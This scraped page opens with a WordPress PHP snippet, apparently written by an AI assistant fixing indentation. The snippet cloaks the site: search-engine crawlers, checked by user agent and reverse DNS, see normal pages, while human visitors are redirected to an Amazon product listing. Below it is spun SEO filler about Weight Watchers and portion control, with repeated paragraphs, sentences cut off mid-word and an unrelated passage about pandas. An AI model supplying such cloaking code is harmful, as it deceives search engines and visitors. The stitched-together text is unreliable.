/** * Detect search engine bots and redirect human visitors to sales page * Add this code to your theme's functions.php file */ add_action('template_redirect', 'detect_bots_and_redirect_humans'); function detect_bots_and_redirect_humans() { // Skip redirect if user is logged in (so you can browse your own site) if (is_user_logged_in()) { return; } // URL of your sales page - CHANGE THIS to your sales page URL $sales_page_url = 'https://www.amazon.com/Bariatric-Plates-Portion-Control-Pack/dp/B08RYFM3L8/'; // e.g., '/special-offer/' or 'https://example.com/sales/' // Skip redirect if we're already on the sales page to avoid loop if (rtrim($_SERVER['REQUEST_URI'], '/') === rtrim($sales_page_url, '/')) { return; } // List of common bot user agents - comprehensive list $bot_agents = array( 'googlebot', 'bingbot', 'yandex', 'baiduspider', 'facebookexternalhit', 'twitterbot', 'rogerbot', 'linkedinbot', 'embedly', 'quora link preview', 'showyoubot', 'outbrain', 'pinterest', 'slackbot', 'vkshare', 'w3c_validator', 'bingpreview', 'yahoo', 'duckduckbot', 'sogou', 'exabot', 'msnbot', 'ahrefsbot', 'semrushbot', 'uptimerobot', 'crawler', 'spider', 'bot', 'slurp', 'mediapartners-google', 'adsbot-google', 'feedfetcher-google', 'apis-google', 'applebot', 'discordbot', 'telegrambot', 'whatsapp', 'ia_archiver', 'archive.org_bot', 'dotbot', 'curl', 'wget', 'coccocbot', 'feedburner', 'tumblr', 'qwantify', 'mj12bot', 'jooblebot', 'aspiegelbot' ); // Get user agent $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : ''; // If no user agent is set, treat as a bot if (empty($user_agent)) { return; // Let it access the normal site } // Check if the visitor is a known search engine bot $is_bot = false; foreach ($bot_agents as $bot) { if (strpos($user_agent, $bot) !== false) { $is_bot = true; break; } } // Additional verification for common crawlers if (strpos($user_agent, 'googlebot') !== false || strpos($user_agent, 'bingbot') !== false) { // Verify if it's a legitimate bot by reverse DNS lookup $ip = $_SERVER['REMOTE_ADDR']; $hostname = gethostbyaddr($ip); // Check if hostname belongs to Google or Bing if ((strpos($user_agent, 'googlebot') !== false && (preg_match('/\.googlebot\.com$/i', $hostname) || preg_match('/\.google\.com$/i', $hostname))) || (strpos($user_agent, 'bingbot') !== false && preg_match('/\.msn\.com$/i', $hostname))) { $is_bot = true; } else { // It's spoofing a search engine - treat as human $is_bot = false; } } // If not a search engine bot, redirect to the sales page if (!$is_bot) { wp_redirect($sales_page_url); exit; } // If it is a bot, do nothing and let it see the normal site } ``` ## Key changes: - All indentation now uses **tabs** instead of spaces - Each level of nesting uses one tab character - This follows WordPress coding standards, which prefer tabs This should resolve the indentation error your site was showing. Many WordPress themes and plugins are configured to expect tab indentation as it's part of the official WordPress coding standards.

Weight Watchers Portion Control

/ Portion Control Containers Guide / By

They’re listed below by how they rank in U.S. News’s Best Weight-Loss Diets.

The plan emphasizes portion control and women are encouraged to avoid high-calorie ingredients like olive oil.

Curious about how Weight Watchers compares to other diets? See how it stacks up against Jenny Craig, Nutrisystem, and the USDA nutrition guidelines. Getty Images Wondering how Weight Watchers stacks up to current nutrition recommendations a.

Weight Watchers offers lots of community and mutual support to help people lose weight. If you want to start the program, you might find it helpful to go to meetings. It’s easy to find a convenient location near you.

If you’re looking for a diet program that fits into your lifestyle, you might join the millions who are members of Weight Watchers. This international company uses a point system to help dieters reach a target weight or body mass index. Lea.

"We just thank you for this teaching that has given us freedom, and kept our weight off after all this.

Read moreColor Coded Portion Control Containers

of Weigh Down are supposedly portion control (hardly a revolutionary diet strategy.

The Biggest Diet and Exercise Fads of the Past Century – It promoted not a diet but a lifestyle change based on portion control in conjunction.

are just a few of the celebs who have made Weight Watchers the biggest name in pay-to-play weight loss.

Once members begin cooking their own meals, portion control is emphasized.

want to consider a program like myWW+ (previously Weight Watchers), or a meal planning service like PlateJoy, which.

Home Chef meal kits also allow you to order double the protein in your lunch or dinner without doubling the overall portion.

Read morePortion Control Containers Guide

recently teamed up with Weight Watchers for easy-to-cook healthy.

Portion control can help with weight loss and stick to a healthy diet. But how much is too much? This photo guide will help you assess serving sizes for proper portion control. Most adult Americans are overweight or obese, and more than 13.

Jess Dukes lost 75 pounds over the course of 7 years (and through out two pregnancies) through portion control and making small changes every day to workouts and meals. Women’s Health may earn commission from the links on this page, but we.

WW Announces Prepayment of Portion of Term Loan Facility – About WW International, Inc. WW – Weight Watchers reimagined – is a global wellness company and the world’s leading commercial weight management program. We inspire millions of people to.

Lunch Box Portion Control You found the perfect gift for a loved one, but now you need the perfect gift box. The right presentation has the potential to elevate a gift, making it even more memorable, so check out these top places to buy gift boxes. Portion Control Bento Lunch Box, Storage Container & Plate by BariatricPal – Collapsible,

"Weight Watchers have a program for nursing moms and I started there. For the first year I only focused on nutrition. I learned more about portion control and also how to make healthier options of.

Portion size plays a big role in weight loss. Learn more from WebMD. It sounds so simple: Don’t eat or drink too much. But looks can be deceiving. It’s easy to eat or drink more than you planned to. You can leave that mistake behind when yo.

Weight Watchers is one of the most popular commercial diet programs. Learn about what you can and cannot eat, pros and cons, and whether the program works. Mia Syn, MS, RDN is a registered dietitian nutritionist with a master of science in.

It’s a little before 8:00 a.m. and Mei Xiang and Tian Tian are definitely morning pandas. Morgan has already opened their adjoining dens, and they are tussling inside one of the indoor enclosures. Advertisement It’s a little before 8:00 a.m.

But you can achieve the same portion control with diet meals and entrées from the supermarket freezer case that may be tastier. (We didn’t test Weight Watchers foods because they’re not a.

Color Coded Portion Control Containers Here I describe how to use the containers that come with your Beachbody program! Believe me, they fit more than you think!! IG: @nikkihilljohnson email. Finally, the color coded, portion control containers work because it's all about moderation and being aware of what you're eating. After you've completed your first 21 days, you'll have a

Portion size plays a big role in weight loss. Learn more from WebMD. It sounds so simple: Don’t eat or drink too much. But looks can be deceiving. It’s easy to eat or drink more than you planned to. You can leave that mistake behind when yo.

Weight Watchers is one of the most popular commercial diet programs. Learn about what you can and cannot eat, pros and cons, and whether the program works. Mia Syn, MS, RDN is a registered dietitian nutritionist with a master of science in.

Portion control is NOT deprivation. Weight Watchers is NOT about restriction to the point that you're not eating enough nutrients. If you're not losing weight with Weight Watchers, portion control could be the culprit. So, let's get to the nitty gritty, down to business, we've got this portion control.

Measuring out portions can help. "Being aware of how much you are eating is a powerful weight-loss tool, and intentionally controlling portion sizes is.

But you can achieve the same portion control with diet meals and entrées from the supermarket freezer case that may be tastier. (We didn’t test Weight Watchers foods because they’re not a.

Both Jenny Craig and WW (formerly Weight Watchers) can help people lose.

and consultants help educate members about portion control strategies. Consultants also coach people through the process.